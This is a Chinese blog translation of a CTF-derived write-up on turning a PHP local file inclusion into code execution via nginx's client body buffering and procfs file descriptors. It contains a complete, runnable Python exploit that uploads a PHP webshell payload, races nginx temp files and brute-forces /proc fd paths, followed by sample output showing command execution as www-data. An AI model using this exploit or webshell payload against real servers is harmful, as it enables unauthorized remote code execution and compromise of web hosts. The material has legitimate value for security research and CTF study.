【翻译】通过nginx实现php本地文件包含

0x00

原文链接php-lfi-with-nginx-assistance

这篇文章展示了一种崭新的但较为普遍的本地文件包含攻击漏洞。实验环境只需要php+nginx,标准配置即可。这项技术在hxp CTF 2021的includer’s revenge / counter中发现。

0x01

PHP本地文件包含技术在安全研究中有着非常久远的历史,并且在CTF中非常常见。这些年中诞生了很多trick。

大多数当前的LFI都依赖于PHP能够产生一些形式的临时文件或者session文件。首先让我们看看下面的例子,上面的trick都不起作用

Download runnable example & exploit.

php 代码

1
<?php include_once($_GET['file']);

FPM / PHP config

1
2
3
4
...
php_admin_value[session.upload_progress.enabled] = 0
php_admin_value[file_uploads] = 0
...

Setup / hardening:

1
2
3
4
...
chown -R 0:0 /tmp /var/tmp /var/lib/php/sessions
chmod -R 000 /tmp /var/tmp /var/lib/php/sessions
...

幸运的是目前php通常用PHP-FPM和nginx来部署。nginx提供一个容易被忽视的特性叫 client body buffering,如果client body(不局限于post请求)大于一个确定的数值,那么就会创建一个临时文件

如果nginx以与PHP相同的用户身份来运行(通常以www-data的形式运行),则此功能可以在没有任何其他方式创建文件的情况下利用LFI。

相应的nginx代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t fd;

fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);

if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}

return fd;
}

可以看到临时文件在nginx打开后立即被删除。但是procfs 仍可用于通过竞赛获得对已删除文件的引用

1
2
3
4
5
6
7
8
9
10
11
12
...
/proc/34/fd:
total 0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 0 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:56 1 -> /dev/pts/0
lrwx------ 1 www-data www-data 64 Dec 25 23:49 10 -> anon_inode:[eventfd]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 11 -> socket:[27587]
lrwx------ 1 www-data www-data 64 Dec 25 23:49 12 -> socket:[27589]
lrwx------ 1 www-data www-data 64 Dec 25 23:56 13 -> socket:[44926]
lrwx------ 1 www-data www-data 64 Dec 25 23:57 14 -> socket:[44927]
lrwx------ 1 www-data www-data 64 Dec 25 23:58 15 -> /var/lib/nginx/body/0000001368 (deleted)
...

注意:这个例子中不能直接包含/proc/34/fd/15,因为PHP的包含函数会解析文件系统中不存在的/var/lib/nginx/body/0000001368 (deleted)的路径。但这个限制可以被一些间接操作绕过,比如/proc/self/fd/34/../../../34/fd/15。最终将执行那个已经被删除的文件/var/lib/nginx/body/0000001368 file中的内容。

0x02 完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
#!/usr/bin/env python3
import sys, threading, requests

# exploit PHP local file inclusion (LFI) via nginx's client body buffering assistance
# see https://bierbaumer.net/security/php-lfi-with-nginx-assistance/ for details

URL = f'http://{sys.argv[1]}:{sys.argv[2]}/'

# find nginx worker processes
r = requests.get(URL, params={
'file': '/proc/cpuinfo'
})
cpus = r.text.count('processor')

r = requests.get(URL, params={
'file': '/proc/sys/kernel/pid_max'
})
pid_max = int(r.text)
print(f'[*] cpus: {cpus}; pid_max: {pid_max}')

nginx_workers = []
for pid in range(pid_max):
r = requests.get(URL, params={
'file': f'/proc/{pid}/cmdline'
})

if b'nginx: worker process' in r.content:
print(f'[*] nginx worker found: {pid}')

nginx_workers.append(pid)
if len(nginx_workers) >= cpus:
break

done = False

# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
print('[+] starting uploader')
while not done:
requests.get(URL, data='<?php system($_GET["c"]); /*' + 16*1024*'A')

for _ in range(16):
t = threading.Thread(target=uploader)
t.start()

# brute force nginx's fds to include body files via procfs
# use ../../ to bypass include's readlink / stat problems with resolving fds to `/var/lib/nginx/body/0000001150 (deleted)`
def bruter(pid):
global done

while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/self/fd/{pid}/../../../{pid}/fd/{fd}'
r = requests.get(URL, params={
'file': f,
'c': f'id'
})
if r.text:
print(f'[!] {f}: {r.text}')
done = True
exit()

for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()

输出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
$ ./pwn.py 127.0.0.1 1337
[*] cpus: 2; pid_max: 32768
[*] nginx worker found: 33
[*] nginx worker found: 34
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] starting uploader
[+] brute loop restarted: 33
[+] brute loop restarted: 34
[!] /proc/self/fd/34/../../../34/fd/9: uid=33(www-data) gid=33(www-data) groups=33(www-data)

备注:

  • includer’s revenge还包含了一个LFI漏洞。通过fastcgi_buffering更容易利用,因为临时文件可以通过在http://资源上调用readfile保持打开状态。
  • counter 还添加了system()以便/proc/$PID/cmdline可用于通过 base64 包装器包含本地文件。

【翻译】通过nginx实现php本地文件包含
https://wanf3ng.github.io/2022/05/17/【翻译】通过nginx实现php本地文件包含/
作者
wanf3ng
发布于
2022年5月17日
许可协议